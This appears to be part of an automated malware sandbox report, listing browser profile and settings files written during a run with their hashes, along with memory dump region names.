SHA512 63273dab0e54d5beab7ce1decbd240f7f18315234e173a7152e9cd3a0f15d1062ede01049e6bdd56ce9d4bf0423aa19c33bb2237e630232912fa266b9f767772

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\prefs-1.js

MD5 809dd0d599a7a3ab850847f3cefe5e26
SHA1 de41e4e8382cdf11e7d0a7c0bc38297e4a27310d
SHA256 5912d2454354f6de7a36f79108bcb0822fd8f9804856a1963aefc0bf1812f717
SHA512 a73b0221ee4e44fffd8c4a3a5fa6e05ec8b655e5f000524b954d6e443e943a9c82aabfa50aaeb1a06605ee7dc7736fb9b2d7a87013e73c089f995286b1e1b7b7

memory/1580-735-0x00000000000D0000-0x000000000058C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

MD5 0a8747a2ac9ac08ae9508f36c6d75692
SHA1 b287a96fd6cc12433adb42193dfe06111c38eaf0
SHA256 32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03
SHA512 59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

MD5 bf957ad58b55f64219ab3f793e374316
SHA1 a11adc9d7f2c28e04d9b35e23b7616d0527118a1
SHA256 bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda
SHA512 79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

MD5 daf7ef3acccab478aaa7d6dc1c60f865
SHA1 f8246162b97ce4a945feced27b6ea114366ff2ad
SHA256 bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e
SHA512 5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 56154792de9366652091c67a642d997b
SHA1 2c7191e4d11ea78b078e358a237defea7e2d3719
SHA256 af1c76b3c0e251753a392de31eeed34ba940fa5eb710e0cde23449d2f59beb10
SHA512 79ad3511586c3a247b32c49d6825e3d17f4cc55d22efa5e7adcd3af533b4bba4e0503f45a90c81f04f6254df3550950a2ad99ca53ce6035e44f8b9810abe81f4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 a7efaba56f942c4088b89708fd7b7aba
SHA1 2c79a1b9396e792eabd320631754b76593bacee2
SHA256 ab05593282ab87d7a9d36e40d4a4e0129bdfbdef4401a968a694916767c79a4a
SHA512 bbe0dce37036743487fa8fde4fa77c0050da838bff457bf40eec8698de2757a0f980ef11d50a33e91dc01b69c3743b5050c24e6caf33c8bf8256d71da824fc4f

memory/6772-857-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/6788-859-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6772-865-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/6788-876-0x00000000000D0000-0x000000000058C000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 dca02b95974a0eea409b3c357b023e72
SHA1 c0717cd37a197bcc4df35d9c1c04d03ddabcd8df
SHA256 9adafdbc5bc9ace33bd5cc0a6d87ebc1f59c68943c7642d22172e322fb469f56
SHA512 61157978b0d42d009db645d103312b6c71b2c838a77ec826979436021fffaff06222b42bf5e193caca97ab979be46a28564ebf4f6a072ea96b7288405e5d7678

memory/1580-1530-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-1534-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/6192-1531-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\23yzs2h6.default-release\prefs-1.js

MD5 fee0e12bd012b82f0caf779663e27c42
SHA1 4173e3d2accc4e0dc5c0020fc1461511e88ce914
SHA256 d5e027dc3fbbf972b0082bcbca428382ca9d0eda3dd5acc046614b98210f196c
SHA512 576d974c2eb434003fbd070b9b675444ed6a83437f6511418fe7e35d37b00f20a65ef4e6c145a8357611c996c56122c5b741584e7d78a97363c3f853552c3efb

memory/1580-4053-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4054-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 c1cc7dd6b8c9d5b37115d235b1565f42
SHA1 c1dd5f8ced21b0c48401367b71bfee49145d1223
SHA256 4447c2b7728bd2a6bbab6c417d706ef97d82ff0840ee7e2f69bd87489a11cb95
SHA512 dc53ce0a7846a004b387abf192ee397ab9de976cd55e961c8356941b4be84fc119cff08d3b689759dedb4078a129e33c0ec3ded323da192b6757b77279b05b2b

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 223af6cb4c98f7d175a86d4df3fc5cac
SHA1 8eeb603c52557d48f0ecf689ea40f1c0fecf2d5f
SHA256 c10e826487ed323fb82b502f9128146a2c043cfdf205b49082df964d232051b7
SHA512 2eb45849d41bfee7e3368b38c8c3f01ad130a784eb73c14036b46849865bc4764ea1b803e0baad1ef67abf12f1790a6fbc54925b17a206deb7b74569cfd4cb5b

memory/1580-4074-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4075-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 91430222f685c802cd5d7c0ff2dd9789
SHA1 4c5de648c99209035a9a785a3ff368603ef18c55
SHA256 65b535a5e69829a1b3c4c5576c763a62053351bcd205e246d77ffdb10deada3d
SHA512 430c96d7ad4325d07254b661a584747f2e188be3b96949b9b760cc1a72cd04bbb9c49ee872d5aca7d5f2d7347f95a5456c387528b07e97db0b25efa57dfe6720

memory/6192-4090-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/1580-4089-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-4095-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4096-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 996a923c74dd96e6c44375ecf2575f22
SHA1 f7e3afd7a38d9e8adf1cc8f52068d894b1c7f630
SHA256 8917594fdaba9f1f978084c1d36fc6c7c1c5ee365feafcec86f68f1b7e27e9f6
SHA512 4978f67da16fc2fbea8e987f055d250a79da54075bee625349b0a9ccb90f5528bd53355bb5c5d61335ae8fd2f2b06fc70cbeaf2020ed02e78eac08eac50460e8

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

MD5 1647f214f72fabc9261f132cf6c97b1b
SHA1 d657b3d02999dc9653106ec5a619187013a5ef5f
SHA256 6b703bfdf521c495d3a1fc3239c73b75a6594aa2b794739c0d63ecef60ba01f1
SHA512 590659a309df6c2e625aed8f7ce181dbb9cbb239f01c00dd0c994ec86698d0c09bba196923baf5e13c00a0a6b5258120be7277ab35209c045cef45008a884979

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 e74242504bcb3721aa02ee8c90ceaa72
SHA1 d6bf616e1de15cce1d979125971e7b6e1fd957b3
SHA256 915feed4e4015fb64f3a7ac089a2a704af5c671b12ba0687e78d0c44179f571e
SHA512 4ac3ea8a13e90e7f5d16eb641ee243abfc62b34d123c3df1af316618194ef96c7346922338e057837b213cb8ce84a7ceffc599f529b5f1f07965f58c0caf8c54

memory/1580-4125-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4126-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/6824-4129-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/2608-4130-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6824-4131-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/2608-4133-0x00000000000D0000-0x000000000058C000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 3b4daef951e7be81ed039aa58bade81b
SHA1 0d2bf12786a6ea9dcc476eb1d746e3a3bbcb5668
SHA256 b7e7240da52ed6a5a28230bee4e52308b42000ecfe80cdc6c5b7f3b8183452a2
SHA512 8abbf48e428332363cc9681d8af42915606f0815d88d57aa75c9b32e98a1451e58a9cdca2a73c0aa2d565fda435da1078b4225cc11267ad9fc57ff36eea04e93

memory/6192-4144-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/1580-4143-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/1580-4145-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4146-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 125dcdd36a7928f8380a598e7cbda1cc
SHA1 e3bf6e39f91b2dbec80453aa7c160b5e268f7d10
SHA256 8cb45e4b432dd04d14fe3fe00b8e5962c13652e743731a8d06575bd9fb723f3b
SHA512 14212e20801e207a7a18e10f0c008b2f6f9e7a409feee655de30c25c5687ee8b418978d3669d057875b87253c8b430aae891d93b5b8e88260f87e90be4d8c02a

memory/1580-4156-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4157-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 f0e7e16ba1ccaa8431a91e1df55a922a
SHA1 6a10e581abb7c3fc68b8fed7f3bff9e5bc077390
SHA256 91480d65fe0e4cbf6fd6c53fb0306014bf796942219f34b41974bf71a6a81ea8
SHA512 dacc3c11dbd052f06c58d70c38880888cdc44ddfe46028033744ac36153e3ba8915ea6d85218403311b116d443c9fc4e0ae37874ebfacea8962f3db85592a588

memory/1580-4172-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4173-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/1580-4186-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4187-0x0000000000500000-0x00000000009B4000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 bc224cdfe9ca1b23697a4f9cf203c10d
SHA1 21aa04859ad117738c5a55ae33b8e33e09747017
SHA256 f30e90b68a89369a6443d5af4151db3f58afb5e0a03bbf2868d059ce53e22b06
SHA512 6c830ea436cf351b5f9aa04bed38531de33ada866facefca4cb40224c1bbe17b2b519e0ca8b13d9800140daec601f5b240ccec5c95ff720c76d4af0d6982f3f5

memory/1580-4197-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/6192-4198-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/4940-4202-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/7068-4201-0x00000000000D0000-0x000000000058C000-memory.dmp

memory/4940-4213-0x0000000000500000-0x00000000009B4000-memory.dmp

memory/7068-4215-0x00000000000D0000-0x000000000058C000-memory.dmp